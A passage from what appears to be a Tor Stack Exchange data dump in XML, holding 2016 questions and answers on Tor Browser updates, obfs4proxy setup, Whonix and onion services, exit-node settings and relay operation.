happened...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;do i need to give the user some other privileges or add him to other groups? this user just has the rights for the tor_browser_LANG folder: he can read, write and execute it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advanced :) &lt;/p&gt;&#xA;" OwnerUserId="13249" LastActivityDate="2016-09-13T21:44:24.883" Title="Run tor-browser-bundle with another user" Tags="|tor-browser-bundle|debian|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11810" PostTypeId="1" CreationDate="2016-06-12T12:09:13.840" Score="1" ViewCount="16" Body="&lt;p&gt;Bonjour,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up til now Tor 5.5.5. worked very well.&#xA;After update to tor 6.0 the browser does not start.Nothing happens.&#xA;Wow can I resolve this problem ?&lt;/p&gt;&#xA;" OwnerUserId="13252" LastActivityDate="2016-06-12T13:35:52.673" Title="Tor update from 5.5.5 to 6.0" Tags="|update|" AnswerCount="0" CommentCount="2" ClosedDate="2016-06-20T10:45:58.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="11812" PostTypeId="2" ParentId="11787" CreationDate="2016-06-12T18:22:31.427" Score="0" Body="&lt;p&gt;a guide to install obfs4proxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i assume you use linux Opensuse 13.1. In this case opensuse does not supply any obfs4proxy package&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;install &quot;go&quot; language &gt;= 1.2 in this case 1.6 version&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;install &quot;go&quot; and &quot;go-language&quot; packages &lt;/p&gt;&#xA;&#xA;&lt;p&gt;from repo &quot;devel:languages:go&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &quot;&lt;a href=&quot;http://download.opensuse.org/repositories/devel:/languages:/go/openSUSE_13.1/&quot; rel=&quot;nofollow&quot;&gt;http://download.opensuse.org/repositories/devel:/languages:/go/openSUSE_13.1/&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 create in your home folder somewhere a folder for example &quot;obfs4proxy&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 open a text console&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to /home///obfs4proxy/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;execute the commands:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;export GOPATH=/home///obfs4proxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go get git.torproject.org/pluggable-transports/obfs4.git/obfs4proxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this copies the source of obfs4proxy &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in /home///obfs4proxy/src/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this computes the binary of obfs4proxy &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in /home///obfs4proxy/bin/&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;wiht admin right &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;if there is no error when compting the binary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy the file /home///obfs4proxy/bin/obfs4proxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to the folder /usr/bin/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the file /etc/tor/torrc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add the statements relative to the obfs4proxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExtORPort auto&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5 restart Tor service with the yast service management tool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to see the file /var/log/tor/tor.log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is an info like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Registered server transport 'obfs4' at '[::]:'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the firewall you must authorize the tcp port  for incoming connections&lt;/p&gt;&#xA;&#xA;&lt;p&gt; is a random number from an installation to another installation and is the same from a start to another start of tor service for your installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks to this doc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Yawning/obfs4&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Yawning/obfs4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12726" LastActivityDate="2016-06-12T18:22:31.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11813" PostTypeId="2" ParentId="11807" CreationDate="2016-06-12T19:55:39.243" Score="0" Body="&lt;p&gt;Without knowledge of the fingerprint I've no idea exactly what it might have been but it &lt;em&gt;could&lt;/em&gt; be a relay that's no longer part of the consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the directory information uploads and downloads is done over HTTP, see: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n178&quot; rel=&quot;nofollow&quot;&gt;dir-spec.txt:178&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it may be your client tried to fetch information about a relay that it previously knew about but is no longer a relay. You may be able to find historic reference to the fingerprint in the &lt;a href=&quot;https://collector.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;CollecTor&lt;/a&gt; archives.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-12T19:55:39.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11814" PostTypeId="2" ParentId="11808" CreationDate="2016-06-12T20:18:40.043" Score="1" Body="&lt;p&gt;Looking at the &lt;code&gt;start-tor-browser.desktop&lt;/code&gt; (the one in &lt;code&gt;tor-browser_$LANG/&lt;/code&gt;) it should execute itself based on the position that it is being run from and shouldn't need editing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Exec=sh -c '&quot;$(dirname &quot;$*&quot;)&quot;/Browser/start-tor-browser --detach || ([ ! -x &quot;$(dirname &quot;$*&quot;)&quot;/Browser/start-tor-browser ] &amp;amp;&amp;amp; &quot;$(dirname &quot;$*&quot;)&quot;/start-tor-browser --detach)' dummy %k&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just directly execute the &lt;code&gt;start-tor-browser&lt;/code&gt; shell script and it should run fine, e.g. by running from a terminal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/media/user/myusb/tor-browser_$LANG/Browser/start-tor-browser --detach&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work for pretty much any directory, and it should contain itself to itself, this is that it will only affect things within its own folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However a strong note if you've strong requirements for anti-forensic properties is that the host operating system may swap out chunks of memory to disk (&lt;code&gt;swap&lt;/code&gt; or &lt;code&gt;pagefile.sys&lt;/code&gt;) or the entire contents of memory to disk (&lt;code&gt;hibernation&lt;/code&gt;). This would necessarily include the contents of your browsing session and might violate any anti-forensic expectation you may have. If you have a strong requirement to run Tor Browser on Linux based system with anti-forensic properties, you should consider instead using the USB for use of the &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; operating system.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-12T22:39:52.273" LastActivityDate="2016-06-12T22:39:52.273" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11815" PostTypeId="1" CreationDate="2016-06-12T16:09:58.067" Score="4" ViewCount="907" Body="&lt;p&gt;&lt;br&gt;&#xA;I just installed a Whonix Gateway VM on VirtualBox and setup my Debian VM to use the Whonix Gateway to connect to the internet.&lt;br&gt;&#xA;So far all good. When I visit check.torproject.org it tells me I´m using Tor...&lt;br&gt;&#xA;But somehow I am not able to access tor hidden services. For instance I am not able to visit the hidden wiki page through the web browser on my Debian VM.&lt;br&gt;&#xA;My thought was as my connections are going through the Tor network anyways, it should be obvious I am able to connect to the hidden services...&lt;br&gt;&#xA;Why is it not working (curl is saying 'Empty reply from server') and what do I have to do to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You. :)&lt;/p&gt;&#xA;" OwnerUserId="13302" OwnerDisplayName="Blubberlase" LastEditorUserId="13768" LastEditDate="2016-09-13T09:55:14.453" LastActivityDate="2018-11-05T17:01:19.387" Title="Problems with browsing hidden services with Custom Workstation" Tags="|onion-services|whonix|virtual-machine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11817" PostTypeId="2" ParentId="11805" CreationDate="2016-06-12T21:12:30.187" Score="1" Body="&lt;p&gt;&lt;code&gt;ExitNodes {GB}&#xA;StrictNodes 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;If StrictNodes is set to 1&lt;/strong&gt;, Tor will treat the ExcludeNodes option as a requirement to follow for all the circuits you generate, &lt;strong&gt;even if doing so will break functionality for you&lt;/strong&gt;. &lt;strong&gt;If StrictNodes is set to 0&lt;/strong&gt;, Tor will still try to avoid nodes in the ExcludeNodes list, but &lt;strong&gt;it will err on the side of avoiding unexpected errors&lt;/strong&gt;. Specifically, StrictNodes 0 tells Tor that it is okay to use an excluded node when it is necessary to perform relay reachability self-tests, connect to a hidden service, provide a hidden service to a client, fulfill a .exit request, upload directory information, or download directory information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;StrictNodes means if your local GeoIP database says it's not GB it will hard-fail. Their GeoIP database may well disagree with yours, this is because there is no such thing as GeoIP. It's generated by scraping whois records and using the listed associated addresses to determine their location -- &lt;a href=&quot;https://atlas.torproject.org/#details/BC630CBBB518BE7E9F4E09712AB0269E9DC7D626&quot; rel=&quot;nofollow&quot;&gt;no one would lie on the internet, right?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, your Tor client &lt;em&gt;cannot&lt;/em&gt; predict where it will exit the Tor network. It knows where to connect &lt;em&gt;into&lt;/em&gt; the exit relay but this has absolutely no relation to where it will exit &lt;em&gt;from&lt;/em&gt;. Some Exit relays will exit from entirely different address ranges than those that it runs it's &lt;code&gt;ORPort&lt;/code&gt; on. Your client can only make decisions based on the address associated with it's advertised &lt;code&gt;ORPort&lt;/code&gt; address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even &lt;em&gt;if&lt;/em&gt; GeoIP weren't just some arbitrary listing that could be intentionally fooled the times that it didn't get it plain wrong, there is no guarantee that the times it gets it right it would even relate to where your traffic exits from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This entire approach is folly, and the GeoIP-based restrictions is a misfeature.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-12T21:19:27.547" LastActivityDate="2016-06-12T21:19:27.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11818" PostTypeId="2" ParentId="11806" CreationDate="2016-06-12T21:51:52.007" Score="2" Body="&lt;p&gt;It seems ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/15899&quot; rel=&quot;nofollow&quot;&gt;#15899&lt;/a&gt; had similar issues with the pdf.js download button, I don't see any errors in the console. It may be worth re-opening this ticket. I see similarly no activity as a result on clicking the download button on pdf.js running on Tails 2.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a work around &lt;code&gt;Right Click&lt;/code&gt; -&gt; &lt;code&gt;Save Page As&lt;/code&gt; (do macs even do right clicks yet?) and &lt;code&gt;File&lt;/code&gt; -&gt; &lt;code&gt;Save Page As&lt;/code&gt; should both still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update: This bug has been fixed under &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/19401&quot; rel=&quot;nofollow&quot;&gt;#19401&lt;/a&gt; a patch is now applied in Tor Browser 6.0.2&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-22T03:45:31.950" LastActivityDate="2016-06-22T03:45:31.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11819" PostTypeId="1" CreationDate="2016-06-12T22:01:31.887" Score="1" ViewCount="256" Body="&lt;p&gt;The complete error message is: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The application was unable to start correctly&#xA;  (0xc00000022). Click OK to close application&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Previous versions of Tor have worked perfectly, and there have been no changes to my system.  Please Help!&lt;/p&gt;&#xA;" OwnerUserId="13259" LastEditorUserId="88" LastEditDate="2016-06-15T06:23:01.570" LastActivityDate="2016-06-15T06:23:01.570" Title="6.01 Opening Error Windows 10: (0xc00000022)" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="1" ClosedDate="2016-06-15T06:23:22.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="11820" PostTypeId="2" ParentId="10071" CreationDate="2016-06-13T03:00:28.137" Score="1" Body="&lt;p&gt;Tor over Tor is always worse, rule of thumb: &lt;strong&gt;mo' hops, mo' problems&lt;/strong&gt;. Instead of using your RPi as a &quot;Force Everything Through Tor&quot; transproxy box, you should use it as an &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&quot; rel=&quot;nofollow&quot;&gt;isolating proxy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your laptop/desktop connects to the Pi over &lt;em&gt;Ethernet&lt;/em&gt; (this is important!). Then, your Pi connects to some wifi network with internet access and runs an instance of Tor. Your Pi provides its SOCKSPort and a ControlPort over the ethernet interface. You configure your Tor Browser to use an external Tor daemon instead of running its own by &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ&quot; rel=&quot;nofollow&quot;&gt;following this guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it is critically important that you connect over Ethernet is that your Pi will receive your plain-text Tor traffic, for example if you connect to an http onion site you will send your requests to that onion in plain-text. If you did this over Wifi a reasonably competent, local adversary could decrypt the traffic and see exactly what you were doing on Tor because the connection between your laptop and the Pi is before any of Tors protection is applied. If you have to set it up using Wifi you should instead consider using OpenVPN or SSH to tunnel connections over Wifi to the Pi to stop local eavesdroppers. (yes, even WPA2 is trash by modern standards)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that a Tor-over-Tor connection will &lt;em&gt;always&lt;/em&gt;, &lt;em&gt;without exception&lt;/em&gt;, be less safe than a normal Tor connection. There is always a possibility that your Tor connection would use the initial Tor connections guard as an exit, introduction point, rendezvous point, or in some other way interact with your own guard in such a way that it would be using a single relay for ingress and egress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Never, ever use Tor-over-Tor. It is &lt;em&gt;always&lt;/em&gt; less safe.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-07-13T16:28:16.770" LastActivityDate="2016-07-13T16:28:16.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11822" PostTypeId="1" AcceptedAnswerId="11838" CreationDate="2016-06-13T04:55:24.550" Score="2" ViewCount="9440" Body="&lt;p&gt;Here's a couple images of what I'm concerned about. It's directly to the left of the box where you type the website in it looks like an &quot;i&quot; in a circle. &lt;a href=&quot;https://i.stack.imgur.com/Dausq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/Dausq.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13261" LastActivityDate="2016-06-14T02:57:43.840" Title="Connection is not secure randomly occurring?" Tags="|tor-browser-bundle|security|" AnswerCount="2" CommentCount="0" ClosedDate="2016-06-17T06:53:51.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="11823" PostTypeId="1" CreationDate="2016-06-13T06:52:58.710" Score="2" ViewCount="257" Body="&lt;p&gt;I'm a new relay operator. I'm running a non-exit relay on a Raspberry Pi, whose main storage device is an SD card. I'm concerned that the relay software may be shortening the life of my SD card by writing frequently. Can anyone help me understand how much writing to disk the relay software does? Is it all in memory? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find this info on Google. I found a similar question on this forum without answer, and it was marked duplicate but didn't lead to another thread. I apologize if I've duplicated in my ignorance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help. &lt;/p&gt;&#xA;" OwnerUserId="13262" LastEditorUserId="88" LastEditDate="2016-06-17T21:30:43.630" LastActivityDate="2016-07-17T22:53:29.777" Title="Does a relay write to disk frequently?" Tags="|relays|raspberry-pi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11826" PostTypeId="1" CreationDate="2016-06-13T13:01:09.840" Score="1" ViewCount="7" Body="&lt;p&gt;Used Tor-Browser last weekend, new update was available and installed. Now my online-banking is not working anymore:( That's why I started to use Tor in the first place! Any suggestions what I can do? Is it possible to reset Tor w/o the new update? Not good with computers, so help should be described for a beginner and, to make matters worse, English is not my mother tongue. Thanks in advance :) Angelika&lt;/p&gt;&#xA;" OwnerUserId="13267" LastActivityDate="2016-06-17T21:46:14.903" Title="Onlinebanking not working after last Tor-Update" Tags="|error|update|website|" AnswerCount="0" CommentCount="0" ClosedDate="2016-06-17T21:46:24.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="11828" PostTypeId="1" AcceptedAnswerId="11829" CreationDate="2016-06-13T14:33:28.680" Score="1" ViewCount="415" Body="&lt;p&gt;Yo, Tails noob here. So if Tails is supposed to route everything through Tor by default, can I just type &quot;nmap [options] [target]&quot; and it will be torified or do I actually need to specify tsocks or something like proxychains before the command itself? Thanks in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="13270" LastActivityDate="2016-06-13T15:59:15.873" Title="Is tsocks necessary?" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11829" PostTypeId="2" ParentId="11828" CreationDate="2016-06-13T15:59:15.873" Score="1" Body="&lt;p&gt;Tails doesn't route everything through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails uses a set of applications that are pre-configured to use Tor and stops applications from sending non-Tor traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such tsocks would be necessary and is mostly incompatible with &lt;code&gt;nmap&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see &lt;a href=&quot;https://tor.stackexchange.com/questions/10529/is-there-a-way-to-get-portscanning-nmap-to-work-through-whonix&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.S.: quit skiddin'&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.P.S: Port scanning over Tor is both harmful to the Tor network and mostly ineffective. See &lt;a href=&quot;https://tor.stackexchange.com/questions/10529/is-there-a-way-to-get-portscanning-nmap-to-work-through-whonix#comment10570_10531&quot;&gt;this comment&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-13T15:59:15.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11830" PostTypeId="2" ParentId="11822" CreationDate="2016-06-13T16:26:53.620" Score="1" Body="&lt;p&gt;The end-to-end authenticated encryption properties of .onion addresses are applied after browser sends the data out, it has no way to know that it is sending the data to a local tor instance and that it will be implicitly encrypted between you and the onion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such it thinks it's &quot;insecure&quot; because it doesn't need https to defeat eavesdroppers.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-13T16:26:53.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11831" PostTypeId="2" ParentId="11798" CreationDate="2016-06-13T18:35:24.903" Score="1" Body="&lt;p&gt;This seems to be a known issue, there is a ticket for this: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/19400&quot; rel=&quot;nofollow&quot;&gt;#19400&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser team is working on it and Tor Browser 6.0.2 will contain a fix.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="88" LastEditDate="2016-06-20T11:06:13.017" LastActivityDate="2016-06-20T11:06:13.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11832" PostTypeId="1" CreationDate="2016-06-13T21:34:53.930" Score="1" ViewCount="45" Body="&lt;p&gt;I have had stable TOR Browsers working excellent for years now and never had any problems after installing.&#xA;Today I did the update to TOR browser 6.0.1 and after installing , same way as always, nothing happened , in the Windows task manager not a single reference to a TOR affiliated process showed., Tried the Firefox exe in the browser folder , nothing happenened.&#xA;Is this a bug in this version?&#xA;How do I solve this ?&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2016-06-14T00:02:56.670" Title="New installed TOR Browser does not do anything" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="4" ClosedDate="2016-06-17T21:49:34.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="11837" PostTypeId="2" ParentId="11815" CreationDate="2016-06-14T02:52:50.150" Score="1" Body="&lt;p&gt;I've yet to find a better way to do it, but the problem is that Firefox either can't resolve .onion domains, or resolution of .onion is &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1228457&quot; rel=&quot;nofollow noreferrer&quot;&gt;blocked&lt;/a&gt; in newer versions of Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to configure your browser to use Tor's SOCKS proxy to surf .onion domains (&lt;em&gt;Preferences&lt;/em&gt; &gt;&gt; &lt;em&gt;Advanced&lt;/em&gt; &gt;&gt; &lt;em&gt;Network&lt;/em&gt; &gt;&gt; &lt;em&gt;Settings&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ecr08.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ecr08.jpg&quot; alt=&quot;Firefox Proxy Settings Image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, 127.0.0.1 might not be the SOCKS host, and would be the IP of your Whonix gateway server (and you'll need to see what port SOCKS is listening on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using cURL, you'd need to use &lt;code&gt;curl --socks5-hostname 127.0.0.1:9050 http://site.onion/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10070" LastEditorUserId="10070" LastEditDate="2018-11-05T17:01:19.387" LastActivityDate="2018-11-05T17:01:19.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11838" PostTypeId="2" ParentId="11822" CreationDate="2016-06-14T02:57:43.840" Score="0" Body="&lt;p&gt;This onion site (like most) are not accessible over https.  Since Tor hidden services are encrypted end-to-end, there's no need for it aside from identity validation that SSL might provide.  If you access it without https it works fine and your traffic to and from the site are encrypted between your computer and the site.&lt;/p&gt;&#xA;" OwnerUserId="10070" LastActivityDate="2016-06-14T02:57:43.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11839" PostTypeId="1" CreationDate="2016-06-14T06:02:31.850" Score="1" ViewCount="68" Body="&lt;p&gt;Instead of using a screen recorder, I like to record streams by using Tor Browser to &quot;right click&quot; on where the video should be (I think the site uses flash player), view Video URL and open and record with VLC player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, sometimes I find that the &quot;empty box&quot; where the video should be is not there. And there is no place to right click to Copy Video URL even though it is the same site. It sometimes requires me to exit and restart Tor Browser multiple times until the &quot;empty box&quot; appears. Is there a reason why I am experiencing this issue? Sorry I'm not IT savvy so the terms I'm using may not be most accurate. &lt;/p&gt;&#xA;" OwnerUserId="13275" LastActivityDate="2016-06-14T06:02:31.850" Title="&quot;View video url&quot; sometimes not shown" Tags="|flash|url|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11840" PostTypeId="1" CreationDate="2016-06-14T09:13:14.293" Score="0" ViewCount="82" Body="&lt;p&gt;Now services like facebook, google and cloudflare can 'misuse' the excuse to block tor because they receive abuse from it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg. I think google on purpose has faulty captcha's that you can enter indefinitely, without ever getting through. &#xA;Facebook has also capcha, that is not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either facebook and google have incompetent web programmers or they do this on purpose, because they want to force identification of their visitor.&#xA;The latter is most probable I would say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about adding an exit node. But I also don't want my ip range to get a bad reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If tor would try to limit the abuse it is generating, these excuses are not valid any more and these sites will be under more pressure to allow tor access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: Are you actively pursuing a solution to limit abuse coming from an exit node? &lt;/p&gt;&#xA;" OwnerUserId="13276" LastActivityDate="2016-06-14T16:23:00.587" Title="Is there any effort put into limiting/preventing abuse coming from tor exit nodes" Tags="|blocked-services|google|abuse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11841" PostTypeId="1" CreationDate="2016-06-14T09:37:46.473" Score="1" ViewCount="7347" Body="&lt;p&gt;How is it possible to download and play videos from any websites? The earlier version 5.5.5 had such option. where one can use such feature (for videos without a download option or a sign in for download) to download any video. but once it got upgraded to 6. any video is playing.&lt;/p&gt;&#xA;" OwnerUserId="13277" LastActivityDate="2016-06-14T20:46:05.677" Title="Download and play video" Tags="|plugin|flash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11843" PostTypeId="2" ParentId="11840" CreationDate="2016-06-14T13:29:06.687" Score="0" Body="&lt;p&gt;Facebook has a &lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow&quot;&gt;hidden service&lt;/a&gt; if you wish to access Facebook over Tor.  As for google; yes, google is a problem when using Tor.  That much is well documented here on this site.&lt;/p&gt;&#xA;" OwnerUserId="12194" LastActivityDate="2016-06-14T13:29:06.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11844" PostTypeId="2" ParentId="11840" CreationDate="2016-06-14T16:16:03.053" Score="1" Body="&lt;p&gt;Google and Facebook run commercial services. They can block whoever they want to for whatever reason. If they wanted to block &lt;em&gt;all&lt;/em&gt; Tor users, for no reason whatsoever, then that would be their prerogative. All the Tor community can do is to lobby them - through organisations such as the EFF - and ask them kindly not to.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My question: Are you actively pursuing a solution to limit abuse&#xA;  coming from an exit node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Define &quot;abuse&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is subjective. Google may have a different definition of abuse than Facebook does. Yahoo! USA might have a different definition of abuse to Yahoo! China. The ISP in my town may have a different definition to the ISP in the next town. Even if the Tor network imposed a definition of abuse itself, there would be no guarantee it would agree with anybody else's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor network is - as far as possible - deliberately decentralised, and trying to police it would undermine one of the reasons for its existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This rather philosophical answer neglects to mention &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/badRelays&quot; rel=&quot;nofollow&quot;&gt;Bad Relays&lt;/a&gt; and the role the Directory Authorities can play in trying to prevent exit nodes from behaving badly.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-06-14T16:23:00.587" LastActivityDate="2016-06-14T16:23:00.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11845" PostTypeId="2" ParentId="9656" CreationDate="2016-06-14T18:26:07.603" Score="4" Body="&lt;p&gt;&lt;em&gt;(Assuming the URL is &lt;code&gt;http://X.onion?foo=bar&lt;/code&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One relay (&lt;code&gt;HSDir&lt;/code&gt;) knows that someone &lt;em&gt;(but not who)&lt;/em&gt; wanted to look up the record for where to leave a message to request to talk to &quot;X&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another relay (&lt;code&gt;Introduction Point&lt;/code&gt;) knows that someone &lt;em&gt;(but not who)&lt;/em&gt; left a message asking to talk to &quot;Y&quot; &lt;em&gt;(see note.)&lt;/em&gt; at some location that it doesn't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Note: &quot;Y&quot; is not the same as &quot;X&quot;, it is actually a distinct key that it published for each &lt;code&gt;Introduction Point&lt;/code&gt; in the Hidden Service descriptor. If the &lt;code&gt;Introduction Point&lt;/code&gt; has a descriptor for &quot;X&quot;, it knows &quot;Y&quot; is &quot;X&quot; and therefor it is serving &quot;X&quot;, otherwise it knows nothing about either 